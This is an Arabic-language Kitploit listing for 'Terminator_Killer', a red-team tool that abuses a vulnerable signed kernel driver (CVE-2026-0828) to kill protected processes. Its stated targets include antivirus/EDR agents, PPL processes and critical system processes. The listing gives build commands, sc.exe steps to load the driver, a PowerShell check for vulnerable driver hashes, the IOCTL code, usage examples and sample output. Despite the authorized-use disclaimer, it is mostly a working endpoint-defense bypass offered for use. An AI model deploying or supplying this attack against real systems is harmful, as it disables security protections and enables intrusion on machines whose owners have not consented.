Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Terminator_Killer — أداة قتل عمليات في وضع النواة تستغل CVE-2026-0828 (BYOVD) لإنهاء العمليات المحمية عبر سائق موقّع ضعيف، متجاوزةً PPL وأمن نقاط النهاية. | Kitploit
أدوات/GitHubGitHub/hika-sec/terminator_killer
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالتهرب من IDS/IPSاختبار الاختراقالفريق الأحمر
GitHubhika-sec/terminator_killer

Terminator_Killer

أداة قتل عمليات في وضع النواة تستغل CVE-2026-0828 (BYOVD) لإنهاء العمليات المحمية عبر سائق موقّع ضعيف، متجاوزةً PPL وأمن نقاط النهاية.

عرض المستودع
1منذ 21س 35دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Terminator - قاتل عمليات الفريق الأحمر

أداة إنهاء عمليات في وضع النواة تستغل برنامج تشغيل ضعيف (CVE-2026-0828) لقتل العمليات المحمية من وضع المستخدم.

التجميع

يتطلب MinGW-w64 (GCC) على Windows. قم بالتجميع باستخدام:

root@kitploit:~
g++ --% .\terminator.cpp -o terminator.exe -Oz -ffunction-sections -fdata-sections -static -static-libgcc -static-libstdc++ -Wl,--gc-sections -W

تحليل العلامات:

العلامةالغرض
--%رمز إيقاف التحليل في PowerShell (يمرر الوسائط حرفيًا إلى g++)
-Ozتحسين لأصغر حجم
-ffunction-sections / -fdata-sectionsوضع كل دالة/بيانات في قسم منفصل
-static / -static-libgcc / -static-libstdc++ربط ثابت (بدون اعتماديات DLL وقت التشغيل)
-Wl,--gc-sectionsالرابط يجمع الأقسام غير المستخدمة (Garbage Collection)
-Wتفعيل التحذيرات

الناتج: terminator.exe مستقل (بحجم ~20-30 كيلوبايت بعد التجريد).

التركيز التقني

يعرض هذا المشروع استغلال برنامج تشغيل نواة ضعيف (STProcessMonitorDriver) يكشف معالج IOCTL_KILL_PROCESS غير مُتحقق منه، مما يسمح بإنهاء عمليات عشوائية بغض النظر عن الامتيازات أو آليات الحماية (PPL، علامات EPROCESS، إلخ).

تفصيل البنية

المكوّنالغرض
terminator.cppعميل وضع المستخدم الذي يعدد العمليات ويرسل أوامر IOCTL للإنهاء
terminator.hppواجهة الفئة لتعداد العمليات وإنهائها
ProcessMonitorDriver.sysبرنامج تشغيل النواة الضعيف (خارجي، غير مضمّن)

تحليل الكود

Terminator::GetProcessPids()

  • ينشئ لقطة باستخدام CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS)
  • يتنقل عبر جميع العمليات باستخدام Process32First/Process32Next
  • يطابق أسماء العمليات المستهدفة دون تمييز حالة الأحرف
  • يعيد متجهًا من PIDs المطابقة

Terminator::ProcessKill()

  • يفتح مقبضًا إلى \\.\STProcessMonitorDriver
  • يدخل في حلقة مراقبة لا نهائية (بفاصل 500 مللي ثانية)
  • لكل PID مكتشف، يرسل IOCTL_KILL_PROCESS (0xB822200C) مع مخزن PID بحجم 8 بايت
  • لا مخرجات عند عدم العثور على العمليات؛ يسجل فقط عند محاولات الإنهاء

دليل الاستخدام

المتطلبات الأساسية

حمّل برنامج التشغيل الضعيف (يتطلب صلاحيات المسؤول):

root@kitploit:~
sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
sc.exe start STProcessMonitor

استغلال خدمة قائمة

إذا كانت نسخة ضعيفة من ProcessMonitorDriver.sys مثبتة بالفعل وتعمل كخدمة (مثلًا من تطبيق شرعي)، يمكن لـ Terminator الاتصال مباشرة دون تحميل برنامج تشغيل جديد.

تحقق مما إذا كانت الخدمة موجودة وتعمل:

root@kitploit:~
sc.exe query STProcessMonitor

تحقق من أن إصدار برنامج التشغيل ضعيف (PowerShell):

root@kitploit:~
$driverPath = "C:\Windows\System32\drivers\ProcessMonitorDriver.sys"
if (Test-Path $driverPath) {
    $hash = (Get-FileHash $driverPath -Algorithm SHA256).Hash.ToLower()
    $vulnerableHashes = @(
        "70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b",  # 11.11.4.0
        "85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786"   # 10.5.75.0
    )
    if ($vulnerableHashes -contains $hash) {
        Write-Host "[+] Vulnerable driver detected (SHA256: $hash)" -ForegroundColor Green
        Write-Host "[+] You can simply run Terminator." -ForegroundColor Green
    } else {
        Write-Host "[-] Driver found but not a known vulnerable version (SHA256: $hash)" -ForegroundColor Yellow
    }
} else {
    Write-Host "[-] Driver not found at $driverPath" -ForegroundColor Red
}

إذا كانت الخدمة موجودة وحالتها RUNNING بإصدار ضعيف، فتجاوز خطوات تحميل برنامج التشغيل وشغّل Terminator مباشرة.

الإصدارات المتأثرة (مختبرة)

الإصدارSHA-256
11.11.4.070bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
10.5.75.085d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786

قد تتأثر إصدارات أخرى؛ تحقق من معالج IOCTL الخاص ببرنامج التشغيل قبل الاستخدام.

تشغيل Terminator

root@kitploit:~
terminator.exe -proc <process_name1> [process_name2] ...

مثال:

root@kitploit:~
terminator.exe -proc notepad.exe calc.exe

المخرجات

root@kitploit:~
[+] Connected to driver. Monitoring for processes...
[*] Sending IOCTL 0xB822200C to terminate PID 4188...
[+] Success! IOCTL sent for PID 4188.

تحليل CVE-2026-0828

الثغرة: برنامج التشغيل STProcessMonitorDriver يسجّل معالج IOCTL (0xB822200C) يقوم بـ:

  1. يقبل PID بحجم 64 بت يُقدمه المستخدم كمخزن إدخال
  2. لا يقوم بأي تحقق من قيمة PID
  3. يستدعي PsLookupProcessByProcessId → ZwTerminateProcess مباشرة
  4. يعمل في سياق النواة (رمز SYSTEM)، متجاوزًا جميع قوائم ACL في وضع المستخدم

الأثر: يمكن لأي مستخدم غير مسؤول لديه وصول إلى برنامج التشغيل إنهاء:

  • العمليات المحمية (PPL)
  • وكلاء مكافحة الفيروسات / EDR
  • عمليات النظام الحرجة (csrss, winlogon, إلخ.)
  • العمليات التي تتطلب SeDebugPrivilege

السبب الجذري: عدم وجود تحقق ObReferenceObjectByHandle، ولا SeSinglePrivilegeCheck(SeDebugPrivilege)، ولا فحوصات وصول لكائن العملية.

إخلاء مسؤولية

هذه الأداة مخصصة لأبحاث الأمن المصرح بها وتمارين الفريق الأحمر فقط.

الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام. تأكد من حصولك على إذن كتابي قبل النشر في أي بيئة.

برنامج التشغيل الضعيف (ProcessMonitorDriver.sys) معيب عمدًا لأغراض العرض التوضيحي ويجب أبدًا نشره في بيئة الإنتاج.

تنزيل الأداة